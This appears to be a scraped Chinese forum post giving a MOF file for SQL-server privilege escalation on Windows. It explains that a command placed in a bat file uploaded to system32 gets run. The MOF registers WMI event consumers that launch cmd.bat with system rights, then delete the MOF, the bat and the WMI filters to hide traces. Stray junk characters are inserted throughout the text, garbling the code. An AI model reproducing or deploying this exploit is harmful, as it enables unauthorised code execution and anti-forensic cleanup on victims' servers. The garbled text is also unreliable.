这个sql提权MOF需要运行 system下的文件,不能定义路径。7 T$ `+ c6 e9 }
需要将要运行的命令写入到bat上传到system32目录,然后执行。
5 I; z% X, l4 N/ n5 r. y
: F1 u$ ~) C6 t5 {这个sql提权MOF需要运行 system下的文件,不能定义路径。, q& f- ^: t7 h+ T/ q* H: M
需要将要运行的命令写入到bat上传到system32目录,然后执行。
4 P% Y9 X; S, k, R* g) u, b1 A" U; f, f. d7 Y# p# b) w& c3 S1 o" _
#pragma- R! ^& ^- A, G4 g0 b+ z
namespace("\\\\.\\root\\cimv2")" u- k$ q) M6 f9 Q* v( G
class. j) u9 G; N3 K7 u% j0 E3 B
MyClass547* G1 J5 C. X! G# M
{ [key]- X1 L T5 {- G: w6 X0 u: G) w, ~
string9 D" g9 r" k" f3 F Q
Name;
; H: M& i) D% p- k+ ^% c$ L: i3 r };$ g( {" [/ `: m9 t2 ~' i
class _" ]# }! D: E) l! O( H" h- X4 ]
ActiveScriptEventConsumer0 z( Y8 C" ]; r+ s; ?% \* {
: __EventConsumer { [key]! n8 Z3 Z) y/ `
string: V3 p8 B) ?5 N
Name; [not_null]
) J; k6 \$ m) l) [0 d string) m% E; N- }$ c) G, K
ScriptingEngine; string
- P' Z! J( f1 d! N! F0 R ScriptFileName; [template]
, u Y- Z; l' D4 R string9 j" f: c# Q6 W! ]2 B+ {' y& y/ V
ScriptText; uint32 KillTimeout;
0 y9 @0 U8 G* R }; instance of __Win32Provider as $P {. J/ P& l! H/ T1 S& g% B* D
Name
$ P4 y! d+ ?+ u8 v5 c% ?6 q0 P =
( U8 l# j- @9 C# V "ActiveScriptEventConsumer"; CLSID =/ a9 v' v7 a5 S6 t3 R
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
+ T4 B( X: u+ k+ O( u f PerUserInitialization% F- T" A1 S1 ~8 H$ g
= TRUE;9 j, p) Z, G8 h2 d! f" r( R. j* t
}; instance of __EventConsumerProviderRegistration { Provider* Y4 L: k/ F+ Q# t5 `; z
= $P; ConsumerClassNames( L l& C. J0 P& G( o4 d8 Q
=
9 x! q3 d3 t2 @6 z4 t: X. X, e {"ActiveScriptEventConsumer"};1 ]/ p1 Y- o6 B3 l6 \& _! r9 I; I6 r
};
8 u( w$ t0 r9 C6 Y" [ Instance of ActiveScriptEventConsumer. c7 Q- g9 W. a1 z: J
as $cons { Name. n. A4 b" W3 N7 |5 y" ?* ^
=# k- y! g' T4 y- _, o
"ASEC"; ScriptingEngine
0 g. e! d3 e4 m =. i) G7 n4 n' ~1 j2 h! I. C6 H
"JScript"; ScriptText7 p: H, Z0 B% n6 l# T% M
=- ]& b2 A% ~% u1 k, b- v% ^+ B
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
x* g& E: J9 z0 M6 x' _ Instance of ActiveScriptEventConsumer. {' B# x# M, j( a- W+ I1 N; L! W
as $cons2 { Name! r6 r8 R) f. T& H/ l4 [2 r
=7 t1 x( r% `2 ^- |# n
"qndASEC"; ScriptingEngine( o. ?9 G' w% X9 N
=$ {4 m, z: m3 m! W |" ~
"JScript"; ScriptText9 L; `$ o! O4 S5 w1 [
=- E* v) [( L. h7 o. H1 t, U
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
9 C& J o: t* x! T/ Z8 c }; instance of __EventFilter as $Filt { Name
$ D) `" ^; l/ R =) o7 P0 n9 x" k' v3 t, E1 C+ s) X
"instfilt"; Query: t$ ~9 _7 ]+ s
=
, @# x* f3 C( y! {7 ` "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage4 Z* l& m) M% P; H
=: x; K8 s) L3 X
"WQL"; }; instance of __EventFilter as $Filt2 { Name; t. j9 a3 x3 X4 \
=/ r: m/ |4 l6 a5 h- l5 y
"qndfilt"; Query
, v9 o" P* c# _6 B7 W7 b. ~ =% L* ]/ i7 E. p0 V' _
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
2 {* U8 A! ?+ z) C+ k, C =5 E/ q7 x" \; [) T
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer2 f; [& n J* I! V( r2 G6 y0 S
= $cons; Filter
" K1 s2 I; Q0 J. v& S$ @# D1 j = $Filt;* M, ^4 |+ e* z4 H/ d: m
}; instance of __FilterToConsumerBinding as $bind2 { Consumer+ ^3 f; Q3 S/ @# p! T8 x
= $cons2; Filter
" R. t3 X* V1 m) t# B( ~! t' V = $Filt2;( }3 J) U& F2 ?7 e: M( l4 v. n
}; instance of MyClass547
* c# z R6 W+ c, o3 F2 J as $MyClass { Name
1 {. m; I2 F0 O$ b! k* K =, f0 A' R6 e. G* D! M( u# R' `" o
"ClassConsumer";
3 P z2 |1 k P! B) r. \7 H/ \ }; |